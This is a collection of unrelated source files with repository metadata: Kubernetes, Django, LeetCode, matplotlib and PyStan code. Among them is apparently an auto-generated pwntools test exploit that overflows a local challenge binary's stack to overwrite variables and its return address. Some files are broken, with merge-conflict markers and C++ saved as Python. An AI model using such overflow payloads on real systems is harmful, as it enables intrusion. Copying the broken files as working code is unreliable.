node_coordinate_set = [[0 - 0.5, 0 - 0.5, 0 - 0.5],
[dimensions[0] + 0.5, 0 - 0.5, 0 - 0.5],
[0 - 0.5, dimensions[1] + 0.5, 0 - 0.5],
[dimensions[0] + 0.5, dimensions[1] + 0.5, 0 - 0.5],
[0 - 0.5, 0 - 0.5, dimensions[2] + 0.5],
[dimensions[0] + 0.5, 0 - 0.5, dimensions[2] + 0.5],
[0 - 0.5, dimensions[1] + 0.5, dimensions[2] + 0.5],
[dimensions[0] + 0.5, dimensions[1] + 0.5, dimensions[2] + 0.5]]
return node_coordinate_set
|
[
"h.sorby@auckland.ac.nz"
] |
h.sorby@auckland.ac.nz
|
894fb7bca92442fa7ede87e3eb4fb9460d48dac3
|
077a17b286bdd6c427c325f196eb6e16b30c257e
|
/00_BofVar-unit-tests/05_64/remenissions-work/exploit-BofFunc-55.py
|
aaa5881a3250fe6ea97d12a84f892bc0bf2bb8f1
|
[] |
no_license
|
KurSh/remenissions_test
|
626daf6e923459b44b82521aa4cb944aad0dbced
|
9dec8085b62a446f7562adfeccf70f8bfcdbb738
|
refs/heads/master
| 2023-07-08T20:25:04.823318
| 2020-10-05T06:45:16
| 2020-10-05T06:45:16
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 918
|
py
|
from pwn import *
import time
import sys
import signal
import sf
target = process("./chall-test_BofVar-05-x64")
gdb.attach(target, execute="verify_exploit")
bof_payload = sf.BufferOverflow(arch=64)
bof_payload.set_input_start(0x58)
bof_payload.add_int32(0x20, 0xdead)
bof_payload.add_int32(0x1c, 0xbef1)
bof_payload.add_int32(0x18, 0xfacadf)
bof_payload.add_int32(0x14, 0xbeef)
bof_payload.add_int32(0x10, 0xfacade)
bof_payload.add_int32(0xc, 0xdeae)
bof_payload.set_ret(0x400537)
payload = bof_payload.generate_payload()
target.sendline(payload)
# Exploit Verification starts here 15935728
def handler(signum, frame):
raise Exception("Timed out")
def check_verification_done():
while True:
if os.path.exists("pwned") or os.path.exists("rip"):
sys.exit(0)
signal.signal(signal.SIGALRM, handler)
signal.alarm(2)
try:
while True:
check_verification_done()
except Exception:
print("Exploit timed out")
|
[
"ryancmeinke@gmail.com"
] |
ryancmeinke@gmail.com
|
c2f713bbc9cad80955d03476244f66543e606652
|
16047f965a69893a8cd2c8d18fbd7b9c86a07eb3
|
/src/kubernetes/client/models/v1beta1_role.py
|
2c1a21b5a2042eac6ef9b08e9bd6650f618215a2
|
[
"Apache-2.0",
"LicenseRef-scancode-proprietary-license",
"MIT"
] |
permissive
|
guctum/aws-kube-codesuite
|
9ce2cc02fe5fa15c2e175fb697138014fb162f1e
|
5d62beaadc13bec745ac7d2fc18f07805e91cef3
|
refs/heads/master
| 2021-05-24T10:08:00.651840
| 2020-04-23T20:21:46
| 2020-04-23T20:21:46
| 253,511,083
| 0
| 0
|
Apache-2.0
| 2020-04-06T13:48:14
| 2020-04-06T13:48:13
| null |
UTF-8
|
Python
| false
| false
| 6,072
|
py
|
# coding: utf-8
"""
Kubernetes
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen)
OpenAPI spec version: v1.7.4
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from pprint import pformat
from six import iteritems
import re
class V1beta1Role(object):
"""
NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
"""
def __init__(self, api_version=None, kind=None, metadata=None, rules=None):
"""
V1beta1Role - a model defined in Swagger
:param dict swaggerTypes: The key is attribute name
and the value is attribute type.
:param dict attributeMap: The key is attribute name
and the value is json key in definition.
"""
self.swagger_types = {
'api_version': 'str',
'kind': 'str',
'metadata': 'V1ObjectMeta',
'rules': 'list[V1beta1PolicyRule]'
}
self.attribute_map = {
'api_version': 'apiVersion',
'kind': 'kind',
'metadata': 'metadata',
'rules': 'rules'
}
self._api_version = api_version
self._kind = kind
self._metadata = metadata
self._rules = rules
@property
def api_version(self):
"""
Gets the api_version of this V1beta1Role.
APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/api-conventions.md#resources
:return: The api_version of this V1beta1Role.
:rtype: str
"""
return self._api_version
@api_version.setter
def api_version(self, api_version):
"""
Sets the api_version of this V1beta1Role.
APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/api-conventions.md#resources
:param api_version: The api_version of this V1beta1Role.
:type: str
"""
self._api_version = api_version
@property
def kind(self):
"""
Gets the kind of this V1beta1Role.
Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/api-conventions.md#types-kinds
:return: The kind of this V1beta1Role.
:rtype: str
"""
return self._kind
@kind.setter
def kind(self, kind):
"""
Sets the kind of this V1beta1Role.
Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/api-conventions.md#types-kinds
:param kind: The kind of this V1beta1Role.
:type: str
"""
self._kind = kind
@property
def metadata(self):
"""
Gets the metadata of this V1beta1Role.
Standard object's metadata.
:return: The metadata of this V1beta1Role.
:rtype: V1ObjectMeta
"""
return self._metadata
@metadata.setter
def metadata(self, metadata):
"""
Sets the metadata of this V1beta1Role.
Standard object's metadata.
:param metadata: The metadata of this V1beta1Role.
:type: V1ObjectMeta
"""
self._metadata = metadata
@property
def rules(self):
"""
Gets the rules of this V1beta1Role.
Rules holds all the PolicyRules for this Role
:return: The rules of this V1beta1Role.
:rtype: list[V1beta1PolicyRule]
"""
return self._rules
@rules.setter
def rules(self, rules):
"""
Sets the rules of this V1beta1Role.
Rules holds all the PolicyRules for this Role
:param rules: The rules of this V1beta1Role.
:type: list[V1beta1PolicyRule]
"""
if rules is None:
raise ValueError("Invalid value for `rules`, must not be `None`")
self._rules = rules
def to_dict(self):
"""
Returns the model properties as a dict
"""
result = {}
for attr, _ in iteritems(self.swagger_types):
value = getattr(self, attr)
if isinstance(value, list):
result[attr] = list(map(
lambda x: x.to_dict() if hasattr(x, "to_dict") else x,
value
))
elif hasattr(value, "to_dict"):
result[attr] = value.to_dict()
elif isinstance(value, dict):
result[attr] = dict(map(
lambda item: (item[0], item[1].to_dict())
if hasattr(item[1], "to_dict") else item,
value.items()
))
else:
result[attr] = value
return result
def to_str(self):
"""
Returns the string representation of the model
"""
return pformat(self.to_dict())
def __repr__(self):
"""
For `print` and `pprint`
"""
return self.to_str()
def __eq__(self, other):
"""
Returns true if both objects are equal
"""
if not isinstance(other, V1beta1Role):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other):
"""
Returns true if both objects are not equal
"""
return not self == other
|
[
"olari@784f435df7a4.ant.amazon.com"
] |
olari@784f435df7a4.ant.amazon.com
|
5ef75da1022655c5bd6ac835508068ef14abd034
|
9743d5fd24822f79c156ad112229e25adb9ed6f6
|
/xai/brain/wordbase/otherforms/_fountains.py
|
8f3662dc38b64b11ddca5e07e700a81c35dac24f
|
[
"MIT"
] |
permissive
|
cash2one/xai
|
de7adad1758f50dd6786bf0111e71a903f039b64
|
e76f12c9f4dcf3ac1c7c08b0cc8844c0b0a104b6
|
refs/heads/master
| 2021-01-19T12:33:54.964379
| 2017-01-28T02:00:50
| 2017-01-28T02:00:50
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 230
|
py
|
#calss header
class _FOUNTAINS():
def __init__(self,):
self.name = "FOUNTAINS"
self.definitions = fountain
self.parents = []
self.childen = []
self.properties = []
self.jsondata = {}
self.basic = ['fountain']
|
[
"xingwang1991@gmail.com"
] |
xingwang1991@gmail.com
|
73eac1e22433ab4eea9aca1376ba592b36c8a766
|
b162de01d1ca9a8a2a720e877961a3c85c9a1c1c
|
/19.remove-nth-node-from-end-of-list.python3.py
|
3b4c3c3f89c9d6b3ace1f623eb8f445776978c96
|
[] |
no_license
|
richnakasato/lc
|
91d5ff40a1a3970856c76c1a53d7b21d88a3429c
|
f55a2decefcf075914ead4d9649d514209d17a34
|
refs/heads/master
| 2023-01-19T09:55:08.040324
| 2020-11-19T03:13:51
| 2020-11-19T03:13:51
| 114,937,686
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 900
|
py
|
#
# [19] Remove Nth Node From End of List
#
# https://leetcode.com/problems/remove-nth-node-from-end-of-list/description/
#
# algorithms
# Medium (33.66%)
# Total Accepted: 320.9K
# Total Submissions: 953.4K
# Testcase Example: '[1,2,3,4,5]\n2'
#
# Given a linked list, remove the n-th node from the end of list and return its
# head.
#
# Example:
#
#
# Given linked list: 1->2->3->4->5, and n = 2.
#
# After removing the second node from the end, the linked list becomes
# 1->2->3->5.
#
#
# Note:
#
# Given n will always be valid.
#
# Follow up:
#
# Could you do this in one pass?
#
#
# Definition for singly-linked list.
# class ListNode:
# def __init__(self, x):
# self.val = x
# self.next = None
class Solution:
def removeNthFromEnd(self, head, n):
"""
:type head: ListNode
:type n: int
:rtype: ListNode
"""
|
[
"richnakasato@hotmail.com"
] |
richnakasato@hotmail.com
|
2480aceae6ae2ba2e2a15b9c72c5bc82b9962eb7
|
ca7aa979e7059467e158830b76673f5b77a0f5a3
|
/Python_codes/p02939/s369857416.py
|
52d015695e7208d99d4fc5b060a39a9e61059cf9
|
[] |
no_license
|
Aasthaengg/IBMdataset
|
7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901
|
f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8
|
refs/heads/main
| 2023-04-22T10:22:44.763102
| 2021-05-13T17:27:22
| 2021-05-13T17:27:22
| 367,112,348
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 152
|
py
|
S = input()
ans = 0
x = ''
y = ''
for i in S:
x += i
if x == y:
pass
else:
ans += 1
y = x
x = ''
print(ans)
|
[
"66529651+Aastha2104@users.noreply.github.com"
] |
66529651+Aastha2104@users.noreply.github.com
|
ec0cfcecd31f2c6a246a73248820c3d252ee9f33
|
170864b6ec66be48138f231fe8ac3381481b8c9d
|
/python/BOJ_5585.py
|
13ea463165f2037fccae553ad628352c08812824
|
[] |
no_license
|
hyesungoh/AA_Algorithm
|
5da3d8312d035d324dfaa31eef73f01a238231f3
|
d68f52eaa29cfc4656a8b5623359166779ded06e
|
refs/heads/master
| 2023-06-09T14:49:01.402456
| 2021-06-28T10:10:09
| 2021-06-28T10:10:09
| 272,701,231
| 1
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 144
|
py
|
n = 1000 - int(input())
coins = [500, 100, 50, 10, 5, 1]
ans = 0
for coin in coins:
t = n // coin
n -= t * coin
ans += t
print(ans)
|
[
"haesungoh414@gmail.com"
] |
haesungoh414@gmail.com
|
5f0784ef8ebaf4b89a25a06905196b48dbd2da46
|
db652288d2a5da615c3026cb49e7e66c4c68b2b1
|
/website/welree/migrations/0003_auto_20150203_1526.py
|
5e8441e2c94dba59036eb731f0ce18162a52c977
|
[] |
no_license
|
dhanuagnihotri/Welree-Website
|
a6b76ba6be47617ff4585fdf254460abc1aa7c59
|
899ed8de4eadc2411b5fee0588a1ed756fb5325e
|
refs/heads/master
| 2021-01-21T03:38:00.119591
| 2015-08-19T17:31:18
| 2015-08-19T17:31:18
| 29,544,497
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 561
|
py
|
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
class Migration(migrations.Migration):
dependencies = [
('welree', '0002_customuser_is_designer'),
]
operations = [
migrations.AlterField(
model_name='customuser',
name='is_designer',
field=models.BooleanField(default=False, help_text=b"We'll use this to customize your experience on Welree.", verbose_name=b"I'm a jewelry designer"),
preserve_default=True,
),
]
|
[
"mrooney.github@rowk.com"
] |
mrooney.github@rowk.com
|
d6e93df4cf85a0b82684bc63ef054e46fd0cd165
|
6bc7062b2f99d0c54fd1bb74c1c312a2e3370e24
|
/crowdfunding/users/permissions.py
|
5b18344a04da371391dd876904d9dae8001cae2e
|
[] |
no_license
|
marinkoellen/drf-proj
|
f2d1f539efb877df69d285bd2fe6d5e789709933
|
874549d68ab80a774988c83706bb7934e035de42
|
refs/heads/master
| 2022-12-25T16:53:52.187704
| 2020-10-03T03:54:06
| 2020-10-03T03:54:06
| 289,620,536
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 261
|
py
|
from rest_framework import permissions
class OwnProfile(permissions.BasePermission):
def has_object_permission(self, request, view, obj):
if request.method in permissions.SAFE_METHODS:
return True
return obj == request.user
|
[
"ellen.marinko1@gmail.com"
] |
ellen.marinko1@gmail.com
|
371b4a3ef74327f5b87793eb24cc846c854d2160
|
9ca8da461ac27ad18ceee5e81a60b17e7b3c4a8c
|
/venv/Lib/site-packages/matplotlib/tests/test_ttconv.py
|
3bbe7af9c73844ce54a7320e0c963ddf605e1b8e
|
[] |
no_license
|
LielVaknin/OOP-Ex3
|
1c2e36436ffe6b701e46efec77d4beb4aba711bf
|
4b830b6806c6d8013332992241dce01cc81634d7
|
refs/heads/master
| 2023-02-11T05:10:20.460355
| 2021-01-14T18:18:22
| 2021-01-14T18:18:22
| 328,455,478
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,150
|
py
|
<<<<<<< HEAD
from pathlib import Path
import matplotlib
from matplotlib.testing.decorators import image_comparison
import matplotlib.pyplot as plt
@image_comparison(["truetype-conversion.pdf"])
# mpltest.ttf does not have "l"/"p" glyphs so we get a warning when trying to
# get the font extents.
def test_truetype_conversion(recwarn):
matplotlib.rcParams['pdf.fonttype'] = 3
fig, ax = plt.subplots()
ax.text(0, 0, "ABCDE",
font=Path(__file__).with_name("mpltest.ttf"), fontsize=80)
ax.set_xticks([])
ax.set_yticks([])
=======
from pathlib import Path
import matplotlib
from matplotlib.testing.decorators import image_comparison
import matplotlib.pyplot as plt
@image_comparison(["truetype-conversion.pdf"])
# mpltest.ttf does not have "l"/"p" glyphs so we get a warning when trying to
# get the font extents.
def test_truetype_conversion(recwarn):
matplotlib.rcParams['pdf.fonttype'] = 3
fig, ax = plt.subplots()
ax.text(0, 0, "ABCDE",
font=Path(__file__).with_name("mpltest.ttf"), fontsize=80)
ax.set_xticks([])
ax.set_yticks([])
>>>>>>> d504ded9f01eece931e11d704f3a8d91c4eb88b4
|
[
"yairaviv83@gmail.com"
] |
yairaviv83@gmail.com
|
119cf069fba05ec41726845576cf1a5f7597599c
|
788965833baa87fec02520ebccde379bf03198bc
|
/askcompany/settings/common.py
|
3cbb1f9fc7b5a61b00f31452e4465a468f4f49d3
|
[] |
no_license
|
sungchan1025/django-with-react-rev2
|
e907bfb464a1a9ed0061d5829257558426335fcd
|
62bf5b5e57e8c791e0c74bf4e496f3bc79de8c4b
|
refs/heads/master
| 2022-04-07T03:11:39.990147
| 2020-02-16T05:50:50
| 2020-02-16T05:50:50
| 273,150,775
| 1
| 0
| null | 2020-06-18T05:36:54
| 2020-06-18T05:36:54
| null |
UTF-8
|
Python
| false
| false
| 4,025
|
py
|
"""
Django settings for askcompany project.
Generated by 'django-admin startproject' using Django 3.0.3.
For more information on this file, see
https://docs.djangoproject.com/en/3.0/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/3.0/ref/settings/
"""
import os
from os.path import abspath, dirname
# Build paths inside the project like this: os.path.join(BASE_DIR, ...)
BASE_DIR = dirname(dirname(dirname(abspath(__file__))))
# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/3.0/howto/deployment/checklist/
# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = '(2%h=*epx5m=qapxh+5o=$6_6lk^lsikbbw3udc#k=s_xd2mzm'
# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = True
ALLOWED_HOSTS = []
ADMINS = [
('Chinseok Lee', 'me@askcompany.kr'),
]
# Application definition
INSTALLED_APPS = [
# Django Apps
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.humanize',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
# Third Apps
'bootstrap4',
'debug_toolbar',
'django_pydenticon',
'easy_thumbnails',
# Locals Apps
'accounts',
'instagram',
]
MIDDLEWARE = [
'debug_toolbar.middleware.DebugToolbarMiddleware',
'django.middleware.security.SecurityMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
]
ROOT_URLCONF = 'askcompany.urls'
TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [
os.path.join(BASE_DIR, 'askcompany', 'templates'),
],
'APP_DIRS': True,
'OPTIONS': {
'context_processors': [
'django.template.context_processors.debug',
'django.template.context_processors.request',
'django.contrib.auth.context_processors.auth',
'django.contrib.messages.context_processors.messages',
],
},
},
]
WSGI_APPLICATION = 'askcompany.wsgi.application'
# Database
# https://docs.djangoproject.com/en/3.0/ref/settings/#databases
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3',
'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),
}
}
AUTH_USER_MODEL = "accounts.User"
# Password validation
# https://docs.djangoproject.com/en/3.0/ref/settings/#auth-password-validators
AUTH_PASSWORD_VALIDATORS = [
{
'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
},
]
# Internationalization
# https://docs.djangoproject.com/en/3.0/topics/i18n/
LANGUAGE_CODE = 'en-us'
TIME_ZONE = 'UTC'
USE_I18N = True
USE_L10N = True
USE_TZ = True
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/3.0/howto/static-files/
STATIC_URL = '/static/'
STATICFILES_DIRS = [
os.path.join(BASE_DIR, 'askcompany', 'static'),
]
STATIC_ROOT = os.path.join(BASE_DIR, 'static')
MEDIA_URL = '/media/'
MEDIA_ROOT = os.path.join(BASE_DIR, 'media')
INTERNAL_IPS = ['127.0.0.1']
# Email with Send Grid
SENDGRID_API_KEY = os.environ.get("SENDGRID_API_KEY")
EMAIL_HOST = 'smtp.sendgrid.net'
EMAIL_HOST_USER = 'apikey'
EMAIL_HOST_PASSWORD = SENDGRID_API_KEY
EMAIL_PORT = 587
EMAIL_USE_TLS = True
WELCOME_EMAIL_SENDER = "me@askcompany.kr"
|
[
"me@askcompany.kr"
] |
me@askcompany.kr
|
6bda908e9230dfb4ccd5c22e157ae0537128b390
|
cf543dda5dc841b3eb7063d78821fbbdbd8f9d60
|
/tests/conftest.py
|
7ebcb25452700b0c985871fb03296261e0d46991
|
[
"BSD-3-Clause"
] |
permissive
|
mdxs/json-spec
|
2b66a9b792210188788a04138e8e2e9fea4aed89
|
f093a2d47e899990e023a13a29f94b9aebdae5ab
|
refs/heads/master
| 2021-01-18T03:14:28.420809
| 2015-07-07T14:34:37
| 2015-07-07T14:36:19
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 177
|
py
|
import sys
def pytest_cmdline_preparse(args):
if 'pytest_cov' in sys.modules: # pytest-xdist plugin
args[:] = ['--cov', 'jsonspec', '--cov-report', 'html'] + args
|
[
"clint.northwood@gmail.com"
] |
clint.northwood@gmail.com
|
2b35f8032e339afc72a833ccfba443d92be9e9e2
|
163bbb4e0920dedd5941e3edfb2d8706ba75627d
|
/Code/Cases/2937/.mooctest/answer.py
|
075d4f8539d3f652a78d8e28ff7dc8eaa60bc42f
|
[] |
no_license
|
AdamZhouSE/pythonHomework
|
a25c120b03a158d60aaa9fdc5fb203b1bb377a19
|
ffc5606817a666aa6241cfab27364326f5c066ff
|
refs/heads/master
| 2022-11-24T08:05:22.122011
| 2020-07-28T16:21:24
| 2020-07-28T16:21:24
| 259,576,640
| 2
| 1
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 586
|
py
|
#include<iostream>
using namespace std;
char a[16], b[16] = {'C', 'O', 'D', 'E', 'F', 'E', 'S', 'T', 'I', 'V', 'A', 'L', '2', '0', '1', '6'};//直接字符数组走一波,后面比较方便
int ans;//定义ans为答案/在函数外面定义的全局变量初始值默认为0
int main()
{
cin >> a;//不需要一个字符一个字符的输,题目数据全都是16位的,不用担心超界限
for(int i = 0; i < 16; i ++){
if(a[i] != b[i]) ans ++;//循环比较,如果不一样ans+1
}
cout << ans << endl;//endl可以不加
return 0;//养成好习惯
}
|
[
"382335657@qq.com"
] |
382335657@qq.com
|
724cb5e6e6271b7e8dbf448bcc2f40bfd0712d1f
|
87fecbc5b4e6ae4b2a0c32c45e20eb1fec2ebcdd
|
/Siyam Solved/Problem Set -2/Solutions- 2/7.py
|
d9e973e8e12bc7f464b259713babb0d6a8e4b005
|
[] |
no_license
|
siyam04/python_problems_solutions
|
08aa2bc17342ee85fdcd90ef96bd8eeed0699726
|
7b271d98e4d600bca31061e57ce792f5d9913991
|
refs/heads/master
| 2020-06-27T22:56:48.973484
| 2019-08-01T15:33:18
| 2019-08-01T15:33:18
| 200,075,594
| 1
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 293
|
py
|
def EvenCount ():
L = []
count =sum([1 for i in range(1, 9) if i % 2 == 0])
return count
def OddCount ():
L = []
count =sum([1 for i in range(1, 9) if i % 2 != 0])
return count
print("Total EVEN numbers are:", EvenCount())
print("Total ODD numbers are:", OddCount())
|
[
"galib.abdullah04@gmail.com"
] |
galib.abdullah04@gmail.com
|
d0752ea82d55e18e109b58693127c0b741fae2fe
|
9d0d01fcae352e9a7d48d7a8035be775118a556e
|
/sample/get_user_by_device_id.py
|
395098703b40be6086fb8398e22b87538f811d88
|
[] |
no_license
|
BlueLens/stylelens-user
|
b278faef0fd32b36355f190e4cd13b95b6e7e57c
|
aa3698d35c237dd022fb16824945636b0b3660e7
|
refs/heads/master
| 2021-09-04T20:47:27.881925
| 2018-01-22T09:28:14
| 2018-01-22T09:28:14
| 117,768,534
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 327
|
py
|
from __future__ import print_function
from stylelens_user.users import Users
from pprint import pprint
api_instance = Users()
device_id = "xxxx"
try:
api_response = api_instance.get_user_by_device_id(device_id)
pprint(api_response)
except Exception as e:
print("Exception when calling get_user_by_device_id: %s\n" % e)
|
[
"master@bluehack.net"
] |
master@bluehack.net
|
1e6c9e8e59bddb832eadfc7780eebfef53aa5db6
|
f0d713996eb095bcdc701f3fab0a8110b8541cbb
|
/fYMjhe7BnijXwfNpF_6.py
|
bb60873df92e89aabc853fedd429ccfe8fa9fc7e
|
[] |
no_license
|
daniel-reich/turbo-robot
|
feda6c0523bb83ab8954b6d06302bfec5b16ebdf
|
a7a25c63097674c0a81675eed7e6b763785f1c41
|
refs/heads/main
| 2023-03-26T01:55:14.210264
| 2021-03-23T16:08:01
| 2021-03-23T16:08:01
| 350,773,815
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 606
|
py
|
"""
Create a function that takes a string and returns the first character of every
word if the length of the word is even and the middle character if the length
of the word is odd.
### Examples
stmid("Alexa have to paid") ➞ "ehtp"
# "e" is the middle character of "Alexa"
# "h" is the first character of "have"
stmid("Th3 0n3 4nd 0n1y") ➞ "hnn0"
stmid("who is the winner") ➞ "hihw"
### Notes
N/A
"""
def stmid(string):
lst = string.split()
txt = ''
for i in lst:
if len(i) % 2:
txt += i[(len(i) // 2)]
else:
txt += i[0]
return txt
|
[
"daniel.reich@danielreichs-MacBook-Pro.local"
] |
daniel.reich@danielreichs-MacBook-Pro.local
|
d02edfa3c34f2b0e8cdf7fcee43f0673d659cfa9
|
72d6b3ab3fc2c7014967a156de082d1c617cbf0f
|
/网优日常/制作手机型号数据库/制作用户手机型号数据库.py
|
716e6b00a29239dcec0f36eca0ff7a9880dc6903
|
[] |
no_license
|
fengmingshan/python
|
19a1732591ad061a8291c7c84e6f00200c106f38
|
b35dbad091c9feb47d1f0edd82e568c066f3c6e9
|
refs/heads/master
| 2021-06-03T08:35:50.019745
| 2021-01-19T15:12:01
| 2021-01-19T15:12:01
| 117,310,092
| 4
| 1
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,125
|
py
|
# -*- coding: utf-8 -*-
# @Author: Administrator
# @Date: 2019-09-07 11:17:31
# @Last Modified by: Administrator
# @Last Modified time: 2019-09-07 16:10:16
import pandas as pd
import os
data_path = 'D:/2019年工作/2019年8月4G网络扩频方案/诺基亚大数据平台/'
user_files = ['qujing_rmk1_temp_20190903.csv','qujing_rmk1_temp_20190808.csv']
os.chdir(data_path)
df_uesr = pd.DataFrame()
for file in user_files:
reader = pd.read_csv(file, engine = 'python',encoding='utf-8',chunksize = 100000)
for df_tmp in reader:
df_uesr = df_uesr.append(df_tmp)
df_uesr = df_uesr[['rmk1','brand','product']]
df_uesr = df_uesr[(~df_uesr['rmk1'].isnull())&(~df_uesr['brand'].isnull())]
df_uesr.drop_duplicates(['rmk1','brand','product'],keep='first',inplace=True)
df_uesr.reset_index(inplace = True)
df_uesr['是否支持800M'] = ''
df_uesr['备注(芯片)'] = ''
df_uesr['rmk1'] = df_uesr['rmk1'].astype(int)
df_uesr.rename(columns = {'rmk1':'号码',
'brand':'厂家','product':'型号'},inplace=True)
with open('曲靖手机型号库.csv','w') as writer:
df_uesr.to_csv(writer,index=False)
|
[
"fms_python@163.com"
] |
fms_python@163.com
|
10a0372584f4d22c91b7131dc54958785772dded
|
df7b40e95718ac0f6071a0ba571b42efc81cf6de
|
/configs/dmnet/dmnet_r50-d8_512x512_80k_ade20k.py
|
74f6d6a85a06e96580a3c8d5843f660c85bca5ad
|
[
"Apache-2.0"
] |
permissive
|
shinianzhihou/ChangeDetection
|
87fa2c498248e6124aeefb8f0ee8154bda36deee
|
354e71234bef38b6e142b6ba02f23db958582844
|
refs/heads/master
| 2023-01-23T20:42:31.017006
| 2023-01-09T11:37:24
| 2023-01-09T11:37:24
| 218,001,748
| 162
| 29
|
Apache-2.0
| 2022-11-03T04:11:00
| 2019-10-28T08:41:54
|
Python
|
UTF-8
|
Python
| false
| false
| 250
|
py
|
_base_ = [
'../_base_/models/dmnet_r50-d8.py', '../_base_/datasets/ade20k.py',
'../_base_/default_runtime.py', '../_base_/schedules/schedule_80k.py'
]
model = dict(
decode_head=dict(num_classes=150), auxiliary_head=dict(num_classes=150))
|
[
"1178396201@qq.com"
] |
1178396201@qq.com
|
326899684aa667bc3ef82d30a16914eb4ded3f0d
|
89b3f158659080efab8854b9f086ee62f06abc7d
|
/example.py
|
f95f9fc4b847a9429432bcbc8a1aaba5dd1d3706
|
[] |
no_license
|
rgerkin/pystan-sklearn
|
8ff3d7ee8450fe58b2d6a2e5ae3076daa8d16477
|
5c5cffe5389abb58fa85d0a47bd4760128b19d8a
|
refs/heads/master
| 2020-04-05T23:40:37.547640
| 2017-08-06T22:27:25
| 2017-08-06T22:27:25
| 29,157,427
| 37
| 4
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 3,655
|
py
|
import numpy as np
from scipy.stats import norm
from sklearn.model_selection import ShuffleSplit,GridSearchCV
from pystan_sklearn import StanEstimator
#############################################################
# All of this from the eight schools example.
schools_code = """
data {
int<lower=0> J; // number of schools
real y[J]; // estimated treatment effects
real<lower=0> sigma[J]; // s.e. of effect estimates
}
parameters {
real mu;
real<lower=0> tau;
real eta[J];
}
transformed parameters {
real theta[J];
for (j in 1:J)
theta[j] = mu + tau * eta[j];
}
model {
eta ~ normal(0, 1);
y ~ normal(theta, sigma);
}
"""
schools_dat = {'J': 8,
'y': [28, 8, -3, 7, -1, 1, 18, 12],
'sigma': [15, 10, 16, 11, 9, 11, 10, 18]}
#############################################################
# First we have to make an estimator specific to our model.
# For now, I don't have a good way of automatically implementing this
# in a general way based on the model code.
class EightSchoolsEstimator(StanEstimator):
# Implement a make_data method for the estimator.
# This tells the sklearn estimator what things to pass along
# as data to the Stan model.
# This is trivial here but can be more complex for larger models.
def make_data(self,search_data=None):
data = schools_dat
if search_data:
data.update({key:value[0] for key,value in search_data.items()})
return data
# Implement a predict_ method for the estimator.
# This tells the sklearn estimator how to make a prediction for one sample.
# This is based on the prediction for the mean theta above.
def predict_(self,X,j):
theta_j = self.mu + self.tau * self.eta[j];
return (theta_j,self.sigma[j])
# Implement a score_ method for the estimator.
# This tells the sklearn estimator how to score one observed sample against
# the prediction from the model.
# It is based on the fitted values of theta and sigma.
def score_(self,prediction,y):
likelihoods = np.zeros(len(y))
for j,(theta_j,sigma_j) in enumerate(prediction):
likelihoods[j] = norm.pdf(y[j],theta_j,sigma_j)
return np.log(likelihoods).sum()
# Initialize StanEstimator instance.
estimator = EightSchoolsEstimator()
# Compile the model code.
estimator.set_model(schools_code)
# Search over these parameter values.
search_data = {'mu':[0.3,1.0,3.0]}
# Create a data dictionary for use with the estimator.
# Note that this 'data' means different things in sklearn and Stan.
data = estimator.make_data(search_data=search_data)
# Set the data (set estimator attributes).
estimator.set_data(data)
# Set the y data.
# Use the observed effect from the Stan code here (e.g. "y").
y = data['y']
# Set the X data, i.e. the covariates.
# In this example there is no X data so we just use an array of ones.
X = np.ones((len(y),1))
#vstack((data['subject_ids'],data['test_ids'])).transpose()
# Fraction of data held out for testing.
test_size = 2.0/len(y)
# A cross-validation class from sklearn.
# Use the sample size variable from the Stan code here (e.g. "J").
